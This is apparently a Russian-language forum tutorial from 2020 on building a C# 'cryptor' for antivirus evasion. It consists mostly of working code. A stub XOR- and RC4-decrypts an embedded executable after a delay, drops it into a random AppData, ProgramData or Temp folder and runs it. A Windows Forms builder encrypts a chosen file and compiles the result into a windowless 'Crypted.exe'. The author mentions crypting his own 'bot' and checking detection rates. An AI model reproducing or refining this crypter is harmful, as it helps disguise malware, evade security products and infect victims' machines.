March 28, 2020

Пишем свой криптор на C#.

Первый затяг. Принцип работы нашего криптора. Код стаба.

В решении у нас будет два проекта. Стаб криптора, и сам криптор.


Криптор будет передавать зашифрованные байты стабу, а сам стаб их расшифрует, дропнет файл в рандомную папку, и запустит его. Звучит просто, да и на деле это будет несложно.


Создаём новый консольный проект:



Объявим необходимые юзинги:

Код:

using System;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Threading;

И теперь сделаем метод дропа файла в рандом папку и его запуска:

Код:

static void DropAndRun(byte[] bytes, string fileName) // В качестве аргументов принимаем байты и имя файла
        {
            string[] dirs = new string[] // Создаём массив папок, в один из которых будет дропаться файл
к                {
                    Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), // AppData
                    Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), // ProgramData
                    Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), // LocalAppData
                    Path.GetTempPath() // Temp
                };
            Random random = new Random(); // Создаём переменную random, для генерации случайного числа
            int pathIndex = random.Next(0, dirs.Length); // Определим индекс массива рандомно
            string filePath = dirs[pathIndex] + "\\" + fileName; // Переменная, в которой хранится полный путь до файла
            try
            {
                if (File.Exists(filePath)) // Делаем проверку на наличие файла в папке
                {
                    File.Delete(filePath); // Если файл существует, то удаляем его
                }     
               
                File.WriteAllBytes(filePath, bytes); // Записываем байты в файл
                Process.Start(filePath); // Запускаем
            }
            catch { }
        }


Далее просто скопируйте три метода: RC4 - который отвечает за шифр байтов, StringToByteArray - конвертирует строку в массив байтов, и XOR - который отвечает за шифр строки,


И импортируйте их в проект:



Осталось "собрать" главный метод, и стаб готов. А главный метод выглядит так:

Код:

        static void Main()
        {
              Thread.Sleep(6000); // Делаем небольшую задержку перед запуском
              byte[] encryptedBytes = StringToByteArray(XOR("[BYTES]")); // Сначала принимаем строку зашифрованных байтов (RC4 + XOR), декодируем XOR, в конце получаем зашифрованные байты.
              byte[] passBytes = Encoding.Default.GetBytes("[PASSWORD]"); // Получаем байты пароля для RC4
              byte[] decryptedBytes = RC4(passBytes, encryptedBytes); // Декодируем байты
              DropAndRun(decryptedBytes, "build.exe"); // Дропаем и запускаем чистый файл     
        }

Стаб готов, теперь копируем весь код и создаём txt файл, в который помещаем наш код.




Второй затяг. Пишем GUI.

Создаём новый проект Windows Forms.



Добавим юзинги:

Код:

using Microsoft.CSharp;
using System;
using System.CodeDom.Compiler;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Windows.Forms;

В конструкторе добавляем 2 textbox'a, 3 button'a, ну и пару label'ов:



Для кнопки выбора файла создаём диалоговое окно:

Код:

        private void button1_Click(object sender, EventArgs e)
        {
            OpenFileDialog dialog = new OpenFileDialog();
            dialog.Filter = "build.exe |*.exe";  // Фильтр
            if (dialog.ShowDialog() == DialogResult.OK)     
                textBox1.Text = dialog.FileName; // Добавляем полный путь до файла в textBox1           
        }


Добавим методы шифра, получения рандомной строки, конвертирования массива байтов в строку:

Код:

        static string ByteArrayToString(byte[] ba)
        {
            return BitConverter.ToString(ba).Replace("-", "");
        }
        static string RandomString(int size)
        {
            Random random = new Random((int)DateTime.Now.Ticks);
            StringBuilder builder = new StringBuilder();
            char ch;
            for (int i = 0; i < size; i++)
            {
                ch = Convert.ToChar(Convert.ToInt32(Math.Floor(26 * random.NextDouble() + 65)));
                builder.Append(ch);
            }
            return builder.ToString();
        }

Ну и методы XOR и RC4 такие же.



Для кнопки генерации ключа получаем рандом строку:

Код:

        private void button2_Click(object sender, EventArgs e)
        {
            Random rnd = new Random();
            int random = rnd.Next(6, 20); // Рандом цифра от 6 до 20
            textBox2.Text = RandomString(random); //Помещаем рандом строку, с рандомной длинной
        }


Теперь добавляем наш txt с кодом стаба в ресурсы проекта:



И добавим код для кнопки Build:

Код:

        private void button3_Click(object sender, EventArgs e)
        {
            string bytesString = ByteArrayToString(RC4(Encoding.Default.GetBytes(textBox2.Text), File.ReadAllBytes(textBox1.Text))); //Шифруем байты, конвертируем шифрованные байты файла в строку
            CompilerParameters Params = new CompilerParameters();
            Params.GenerateExecutable = true;
            Params.ReferencedAssemblies.Add("System.dll"); // Добавляем ссылку на System.dll
            Params.CompilerOptions += "\n/t:winexe"; // Задаём тип выходных данных
            Params.OutputAssembly = "Crypted.exe"; // Имя файла
            string Source = Properties.Resources.Stub_2D2D; // Переменная, в которой хранится код стаба
            Source = Source.Replace("[BYTES]", XOR(bytesString)); // Заменяем строку [BYTES], на заксоренную строку с шифрованными байтами
            Source = Source.Replace("[PASSWORD]", textBox2.Text); // Заменяем пароль для RC4
            var settings = new Dictionary<string, string>();
            settings.Add("CompilerVersion", "v4.0"); // Указываем версию целевой платформы
            CompilerResults Results = new CSharpCodeProvider(settings).CompileAssemblyFromSource(Params, Source);
            if (Results.Errors.Count > 0)
            {
                foreach (CompilerError err in Results.Errors) // Если есть ошибки, выводим их циклом
                   MessageBox.Show(err.ToString());
            }
            else
            {
                MessageBox.Show("Crypted!", "2D2D Cryptor"); // Иначе, выводим сообщение, что всё гуд
            }
        }


Криптор готов, проверяем.



Ну и детекты (криптовал своего бота):



Ну, а на этом у меня всё!